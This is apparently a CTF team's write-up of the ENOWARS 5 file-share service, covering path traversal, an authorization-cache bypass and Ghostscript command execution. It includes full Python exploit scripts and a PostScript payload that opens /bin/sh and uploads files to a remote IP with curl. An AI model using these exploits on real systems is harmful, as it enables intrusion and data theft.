Saarsec

saarsec

Schwenk and pwn

ENOWARS 5 - file-share

The file-share service implements a webservice where users can upload files and share them with other users and also “convert” files. Both back- and frontend are written in C# using the ASP.NET framework, with Blazor for the frontend, with the exception of the “convert” functionality, which is implemented as a shell-script using imagemagick in a separate docker container.

The API

The relevant API consists of the following endpoints:

User accounts are managed by ASP.NET’s IdentityUser and identified using UIDs and a user’s files are stored under /app/files/<uid>.

The Flagstore

Flags were stored by the gameserver as svg-files named supersecret.svg, which included the flag in multiple places.

Bug 1: Path Traversal

The download functionality is implemented like this:

[HttpGet("{*fileName}")]
public async Task<IActionResult> GetFile(string fileName)
{
    var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);

    var filepath = Path.Combine(path, userId, fileName);
    try
    {
        FileContentResult result = new FileContentResult(System.IO.File.ReadAllBytes(filepath), "application/octet-stream")
        {
            FileDownloadName = fileName
        };
        return result;
    }
    catch (FileNotFoundException)
    {
        return NotFound();
    }
}

As shown, the filepath is built from three components, path (globally set to /app), the user-id, and the requested fileName taken from the URL. However, the {*fileName} allows us to provide an absolute path as the “file name”, and Path.Combine will happily overwrite the previous parts of the path:

This method is intended to concatenate individual strings into a single string that represents a file path. However, if an argument other than the first contains a rooted path, any previous path components are ignored, and the returned string begins with that rooted path component

This allows us to download any file we wish by specifying its full path as the filename.

Exploit

Since we can obtain other user’s UIDs (from the /api/users endpoint) and since the gameserver placed flags always in a file named supersecret.svg, we can request the file /app/files/{uid}/supersecret.svg and get the flag that way.

def exploit(target):
    sess = requests.Session()

    email = randuser() + '@foomail.com'
    password = '!23Qwe'

    register(sess, target, email, password)
    auth(sess, target)

    users_req = sess.get(f'http://{target}:8001/api/users')
    users = users_req.json()

    for user in users:
        uid = user['id']
        try:
            r = sess.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg')
            if r.status_code == 200:
                print(r.content)
        except:
            pass

Getting this exploit to work during the CTF took us longer than expected, mostly because the service uses OpenID connect and after messing about with a number of python libraries we settled on doing everything manually using only requests (full exploit given at the end). And since we opted for an exploit-first strategy, we even lost some flags to this rather simple bug.

Fix

Following the suggestion given in the documentation for Path.Combine, we simply replaced all calls to Path.Combine with Path.Join. Alternatively, checking the filename for slashes should have worked as well.

Bug 1.5: Path Traversal again

The same bug also exists when downloading shared files. Hoping that some teams might have fixed the issue only in the first place, we also built an exploit using the shared file download.

Exploit

This time, we need to register two users and have one share files with the other. Otherwise, nothingh changes:

def exploit(target):
    sess = requests.Session()

    email = randuser() + '@foomail.com'
    password = '!23Qwe'

    register(sess, target, email, password)
    auth(sess, target)
    user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # register second user, and share with first
    sess2 = requests.Session()

    email2 = randuser() + '@foomail.com'
    password2 = '!23Qwe'

    register(sess2, target, email2, password2)
    auth(sess2, target)

    user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # share stuff
    r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])

    users = sess.get(f'http://{target}:8001/api/users').json()

    for user in users:
        uid = user['id']
        try:
            r = sess2.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg', params={'sharedUser': user_id})
            print(r.content)
        except:
            pass

Bug 2: Caching is hard

Full disclosure: We found this bug only in preparation for the write-up, but it explains why we still lost some flags after deploying the fix for the first bug.

When downloading shared files, a custom authorization attribute (CustomFileShareAuthorizationAttribute) is used to check the request. The core of this check is the following:

isAuthorized = _cache.GetOrCreate(currentUser, () =>
  {
    var sharedUser = (from c in dbcontext.Users where c.Id == sharedUserId select c).FirstOrDefault();
    if (sharedUser == null)
    {
        throw new SharedUserNotExistentException();
    }

    if (sharedUser.SharedWithUsers == null || !sharedUser.SharedWithUsers.Any(item => item == currentUser))
    {
        return false;
    }
    return true;
  });

In essence, this checks if the user from the sharedUser parameter exists and whether the current user is in its SharedWithUser list. The result of this check is cached, however only the current user is used as the cache key. As long as there is a cache entry for the custom user, we will thus always get the same authorization result, irrespective of the sharedUser parameter.

Exploit

To exploit this, we simply need to ensure that we can get a cache-entry with true for our user. We can achieve this by simply creating two users, allowing sharing between them, and then access a shared file. Afterwards, we can access everyones files, since the cache will always return true for our user.

def exploit(target):
    sess = requests.Session()

    email = randuser() + '@foomail.com'
    password = '!23Qwe'

    register(sess, target, email, password)
    auth(sess, target)
    user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # register second user, and share with first
    sess2 = requests.Session()

    email2 = randuser() + '@foomail.com'
    password2 = '!23Qwe'

    register(sess2, target, email2, password2)
    auth(sess2, target)

    user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # share stuff
    r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])

    # add user to cache
    r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': user_id})
    r = sess2.get(f'http://{target}:8001/api/fileshare/shared/foobar', params={'sharedUser': user_id})

    # get all users, hope on cache-hits
    users = sess.get(f'http://{target}:8001/api/users').json()

    for user in users:
        uid = user['id']
        try:
            r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': uid})
            for file in r.json():
                r = sess2.get(f'http://{target}:8001/api/fileshare/shared/{file["name"]}', params={'sharedUser': uid})
                print(r.content)
        except:
            pass

Note that we do not even need to upload an actual file to share, since the authorization code is run before everything else.

Another nice side-effect of this exploit is that it allows us the list other user’s files using the /api/fileshare/shared endpoint, which allows us to download files without guessing filenames.

Fix

Using a (currentUser, sharedUserId)-tuple as the cache-key might have worked during the CTF, but really the cache should then be invalidated when a user changes their sharing-settings. The best “fix” here is therefore probably to just remove the cache altogether.

Bug 3: Ghostscript Command Execution

Disclosure again: also this bug was not found during the CTF, but we discovered the exploit later in our traffic dumps.

Users can “convert” files by uploading them to the special /api/fileshare/convert endpoint. Behind the scenes, this places the file in a special folder /app/files/convert/<uid>/ on which another Docker container is listening with inotify-wait. Upon notification, the bash script running in this second container then basically runs

convert -resize 50% "$srcfile" "$tmpsrcfile" 

While this seems rather innocuous, for some filetype (postscript!), imagemagick’s convert utility will call out to ghostscrit. It also turns out that the container uses an older version of ghostscript (9.26), which is vulnerable to CVE-2019-6116, which can be used to achieve code execution. In particular, this vulnerability allows postscript files to access an internal .forceput function, which can be used to overwrite parts of ghostscript’s sandbox settings. This allows it to access privileged files and devices, such as the %pipe%command pseudo device, which is a ghostscript extension to the postscript standard and opens a pipe to a new process running the command command. With the ability to run arbitrary commands inside a container that has full access to all files, it is then rather trivial to obtain all flags.

Exploit

The bulk of the exploit is written in postscript. Rather than copy the exploit we saw on the wire 1:1, we tried our best to paraphrase and comment it (Fortunately, the original exploit was nice enough to have comments like <- put your backconnect IP here…).

Super-quick postscript 101: postscript is executed in a stack-based VM, 42 places the number 42 on the stack, (Hello) places the string Hello on the stack, exch calls the exchange function, which swaps the two topmost stack elements. /foobar places the name foobar on the stack, { cmd1 cmd 2 } pushes a codeblock with two commands on the stack, def calls the define function, which takes two arguments from the stack, a name and a codeblock and defines a new command with that name which will then execute the given code.

%!PS-Adobe-3.0
% define stack fill function
/fill { 0 exch 1 exch { exch } for } def

% replace error handlers for stackover- and -underflow- and typecheck- errors
errordict /stackoverflow {
    pop
    pop
    errordict /stackunderflow {
        pop
        errordict /stackunderflow {
            pop
            errordict /stackunderflow {
                pop
                errordict /stackunderflow {
                    pop
                    errordict /stackoverflow {
                        pop
                        pop
                        ()
                        ()
                        errordict /typecheck {
                            pop
                            3 get
                            3 get
                            6 get
                            /forceput exch def
                            pop
                        } put                        
                    } put
                    0 300370 fill
                } put
            } put
        } put
    } put
} put

% define the function that leaks the forceput descriptor on the stack
/getForcePut systemdict /.origundefinefont get def

% fill up our stack
() 300371 fill

% trigger the function defined above
getForcePut

% overwrite parameters that allow us to access arbitrary files
systemdict /SAFER false forceput
systemdict /userparams get /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
save restore

% open a pipe to /bin/sh
(%pipe%/bin/sh) (w) file

% execute commands by writing to the pipe
(find /files -name supersecret.svg | xargs cat | curl http://<YOUR_REMOTE_IP>:1337 --upload-file -) writestring

The python-part of the exploit is then only needed to create a file-share account and upload the newly created file.

Fix

The obvious fix here is to update ghostscript :-)

But why was the old version running there in the first place? A closer look at the Dockerfile for the relevant container reveals the answer:

FROM imagick/imagemagick:latest

RUN apt-get update && apt-get install inotify-tools -y && rm -rf /var/lib/apt/lists/*

WORKDIR /
COPY convert.sh ./convert.sh
RUN chmod +x convert.sh
ENTRYPOINT ["/convert.sh"]

The sneaky line here is the first one, since imagick/imagemagick is not an “official” imagemagick Dockerimage (there appears to be none), but was rather uploaded by community user imagick, who joined dockerhub only beginning of May…

Final thoughts, and full exploit code

One of the nice things about CTFs is that you always learn new things. In this case:

  1. OpenID connect can be implemented in pure python requests, but there might be better ways.
  2. If code looks suspicious (like the cache in the CustomFileShareAuthorizationAttribute), it almost definitely is.
  3. An excrutiating amount of detail about postscript.
  4. Do not trust enowars authors :-p

11/10 would pwn again!

Full exploit

#!/usr/bin/python3
import string
import random
import json
import hashlib
import requests
import base64


def randuser():
    return random.choice(string.ascii_uppercase) + ''.join(random.choice(string.ascii_lowercase) for _ in range(8))


def register(sess, target, email, password):
    req = sess.get(f'http://{target}:8001/Identity/Account/Register')
    token = req.text.split('__RequestVerificationToken')[1].split('value="')[1].split('"')[0]
    sess.post(f'http://{target}:8001/Identity/Account/Register',
            data={
                'Input.Email': email,
                'Input.Password': password,
                'Input.ConfirmPassword': password,
                '__RequestVerificationToken': token})


def auth(sess, target):
    state = random.randbytes(16).hex()
    code_verifier = ''.join(random.choice(string.ascii_letters+string.digits+'-._~') for  _ in range(43))
    code_challenge = base64.urlsafe_b64encode(hashlib.sha256(code_verifier.encode()).digest()).decode().rstrip('=')

    req = sess.get(f'http://{target}:8001/connect/authorize',
            params={
                'client_id': 'FileShare.Client',
                'redirect_uri': f'http://{target}:8001/authentication/login-callback',
                'response_type': 'code',
                'scope': 'FileShare.ServerAPI openid profile',
                'state': state,
                'code_challenge': code_challenge,
                'code_challenge_method': 'S256',
                'prompt': 'none'})


    code = req.history[-1].headers['Location'].split('code=')[1].split('&')[0]

    req = sess.post(f'http://{target}:8001/connect/token',
            data={
                'client_id': 'FileShare.Client',
                'code': code,
                'redirect_uri': f'http://{target}:8001/authentication/login-callback',
                'code_verifier': code_verifier,
                'grant_type': 'authorization_code'})


    auth_token = req.json()['access_token']
    sess.headers['Authorization'] = f'Bearer {auth_token}'


def exploit_path_traversal(target):
    sess = requests.Session()

    email = randuser() + '@foomail.com'
    password = '!23Qwe'

    register(sess, target, email, password)
    auth(sess, target)

    users_req = sess.get(f'http://{target}:8001/api/users')
    users = users_req.json()

    for user in users:
        uid = user['id']
        try:
            r = sess.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg')
            if r.status_code == 200:
                print(r.content)
        except:
            pass


def exploit_path_traversal_share(target):
    sess = requests.Session()

    email = randuser() + '@foomail.com'
    password = '!23Qwe'

    register(sess, target, email, password)
    auth(sess, target)
    user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # register second user, and share with first
    sess2 = requests.Session()

    email2 = randuser() + '@foomail.com'
    password2 = '!23Qwe'

    register(sess2, target, email2, password2)
    auth(sess2, target)

    user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # share stuff
    r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])

    users = sess.get(f'http://{target}:8001/api/users').json()

    for user in users:
        uid = user['id']
        try:
            r = sess2.get(f'http://{target}:8001/api/fileshare//app/files/{uid}/supersecret.svg', params={'sharedUser': user_id})
            print(r.content)
        except:
            pass


def exploit_cache(target):
    sess = requests.Session()

    email = randuser() + '@foomail.com'
    password = '!23Qwe'

    register(sess, target, email, password)
    auth(sess, target)
    user_id = sess.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # register second user, and share with first
    sess2 = requests.Session()

    email2 = randuser() + '@foomail.com'
    password2 = '!23Qwe'

    register(sess2, target, email2, password2)
    auth(sess2, target)

    user2_id = sess2.get(f'http://{target}:8001/connect/userinfo').json()['sub']

    # share stuff
    r = sess.post(f'http://{target}:8001/api/share', json=[user2_id])

    # add user to cache
    r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': user_id})
    r = sess2.get(f'http://{target}:8001/api/fileshare/shared/foobar', params={'sharedUser': user_id})

    # get all users, hope on cache-hits
    users = sess.get(f'http://{target}:8001/api/users').json()

    for user in users:
        uid = user['id']
        try:
            r = sess2.get(f'http://{target}:8001/api/fileshare/shared', params={'sharedUser': uid})
            for file in r.json():
                r = sess2.get(f'http://{target}:8001/api/fileshare/shared/{file["name"]}', params={'sharedUser': uid})
                print(r.content)
        except:
            pass


def exploit_cmd_injection(target):
    sess = requests.Session()

    email = randuser() + '@foomail.com'
    password = '!23Qwe'

    register(sess, target, email, password)
    auth(sess, target)

    flag = gen_flag()
    with open('exploit.eps') as exploit_file:
        sess.post(f'http://{target}:8001/api/fileshare/convert/exploit.eps', files={'file': ('exploit.eps', exploit_file)})